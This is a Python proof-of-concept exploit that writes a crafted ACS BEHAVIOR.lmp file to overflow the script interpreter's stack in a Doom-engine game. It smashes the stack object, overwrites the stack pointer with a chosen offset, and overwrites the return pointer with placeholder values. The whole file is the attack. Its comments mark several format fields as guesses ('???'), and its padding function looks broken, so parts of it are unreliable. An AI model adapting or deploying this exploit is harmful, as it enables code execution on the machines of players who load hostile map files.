#!/usr/bin/env python

# Copyright (c) 2017 Jakob L. Kreuze
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, version 3.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.

import os
import struct
import sys

# ACS File Format:
# CHUNK [4 bytes]
# SIZE (Excluding CHUNK and SIZE) [4 bytes]
# CONTENTS [SIZE bytes]

STACK_SIZE = 0x1000

CODE_HEADER = [0x41, 0x43, 0x53, 0x00]
SCRIPTTAB_HEADER = [0x53, 0x50, 0x54, 0x52]
FOOTTAB_HEADER = [0x41, 0x43, 0x53, 0x65]

PCD_NOP = 0
PCD_TERMINATE = 1
PCD_PUSHNUMBER = 3
PCD_PUSHBYTE = 167

# assert(sp == 0) is only compiled in DEBUG builds, so cleaning up the
# stack is not necessary.

# Scripts must be aligned to 32 bits.
def align_script(code: list) -> list:
    padding_len = len(code) + (4 - (len(code) % 4))
    return code + [PCD_NOP * padding_len]


if __name__ == "__main__":
    if len(sys.argv) != 2:
        sys.stderr.write("usage: {} [RET OFFSET]\n".format(sys.argv[0]))
        sys.exit(1)

    desired_offset = int(sys.argv[1])
    dest = "BEHAVIOR.lmp"

    # Smash stackobj.sp
    payload = [0x55, 0x58, 0x56] * (STACK_SIZE * 2)

    # Overwrite stackobj.sp
    payload += [PCD_PUSHNUMBER] + list(struct.pack("i", desired_offset))

    # Smash the return pointer
    least_sig = list(struct.pack("Q", 0xcafebabe))[:4]
    most_sig = list(struct.pack("Q", 0xdeadbeef))[4:]
    payload += [PCD_PUSHNUMBER] + least_sig + [PCD_PUSHNUMBER] + most_sig

    payload.append(PCD_TERMINATE)
    payload = align_script(payload)

    payload_len = len(payload) + 4

    footer_table_off = payload_len + 32 # ??


    with open(dest, "wb+") as out:
        # Write the code section.
        out.write(bytes(CODE_HEADER))
        out.write(struct.pack("I", footer_table_off))
        out.write(bytes(payload))
        out.write(bytes([0x01, 0x00, 0x00, 0x00])) # Extra termination?

        # Write the Script Pointer Table
        out.write(bytes(SCRIPTTAB_HEADER))
        # out.write(struct.pack("I", len(script_pointer_table)))
        out.write(bytes([0x08, 0x00, 0x00, 0x00])) # ???
        out.write(bytes([0x01, 0x00])) # Script number
        out.write(bytes([0x04, 0x00])) # ENTER
        out.write(bytes([0x08, 0x00, 0x00, 0x00])) # Start offset
        out.write(struct.pack("I", 0x08 + payload_len)) # End offset

        # Write footer table
        out.write(bytes(FOOTTAB_HEADER))
        out.write(bytes([0x01, 0x00, 0x00, 0x00])) # ???
        out.write(bytes([0x01, 0x00, 0x00, 0x00])) # ???
        out.write(struct.pack("I", footer_table_off - 28)) # Offset to SPTR - 8?
        out.write(bytes([0x00, 0x00, 0x00, 0x00])) # ???

    # print("Enjoy :3")